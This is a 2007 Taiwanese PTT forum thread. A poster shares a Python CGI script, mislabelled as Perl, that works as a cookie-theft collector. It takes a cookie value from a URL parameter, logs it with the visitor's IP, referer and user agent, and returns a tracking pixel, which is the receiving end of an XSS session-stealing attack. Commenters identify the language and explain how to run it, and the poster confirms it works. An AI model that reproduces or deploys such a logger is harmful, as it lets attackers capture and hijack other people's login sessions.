[問題] 不知從何debug起

看板Perl作者 (Metal)時間17年前 (2007/06/18 22:22), 編輯推噓4(406)
留言10則, 6人參與, 最新討論串1/1
這是一個接收cookie資料用的程式碼 ----------------------------------------------------------------- #!c:\perl\bin\perl.exe import os import sys import cgi import datetime if __name__ == "__main__": log=[] log.append(str(datetime.datetime.today())) # get the cookie from url?c=asdf form = cgi.FieldStorage() if form.has_key("c"): log.append(form["c"].value) else: log.append() # get some request info log.append(str(os.environ['REMOTE_ADDR'])) log.append(str(os.environ['HTTP_REFERER'])) log.append(str(os.environ['HTTP_USER_AGENT'])) # save the log array f = os.open("cookielog.txt",os.O_APPEND|os.O_WRONLY) os.write(f,",".join(log)+"\r\n") os.close(f) # write response sys.stdout.write("Content-Type: image/gif\r\n\r\n") pixel = os.open("../images/pixel.gif",os.O_RDONLY) sys.stdout.write(os.read(pixel,1000)) os.close(pixel) sys.stdout.flush() ------------------------------------------------- 因為我沒學過perl,這是網路上找到的sample code 當我的cgi server要接受資料執行到這隻程式時server的log檔就出現一堆錯誤了 為了研究cookie資料可以被人用到何種程度而需要用到這程式 希望有人能幫我debug~~感激不盡 -- ※ 發信站: 批踢踢實業坊(ptt.cc) ◆ From: 140.123.107.6 ※ 編輯: starskgb 來自: 140.123.107.6 (06/18 22:23)

06/18 23:44, , 1F
這明明是 python code...
06/18 23:44, 1F

06/18 23:44, , 2F
我...怎麼覺得這個不是perl寫的,有點像.....java
06/18 23:44, 2F

06/19 00:01, , 3F
python......
06/19 00:01, 3F

06/19 02:02, , 4F
.py
06/19 02:02, 4F

06/19 02:14, , 5F
python, perl 傻傻分不清楚 :P
06/19 02:14, 5F

06/19 03:12, , 6F
囧興,因為檔名是cgi,我對這類語言完全外行=.="
06/19 03:12, 6F

06/19 03:16, , 7F
那要讓它在網頁上跑,還是用perl.exe嗎??code第一行
06/19 03:16, 7F

06/19 03:17, , 8F
我是用appserv+activeperl
06/19 03:17, 8F

06/19 03:51, , 9F
你需要裝ActivePython 然後副檔名改.py
06/19 03:51, 9F

06/19 17:41, , 10F
可以work了,感謝
06/19 17:41, 10F
文章代碼(AID): #16TfKHew (Perl)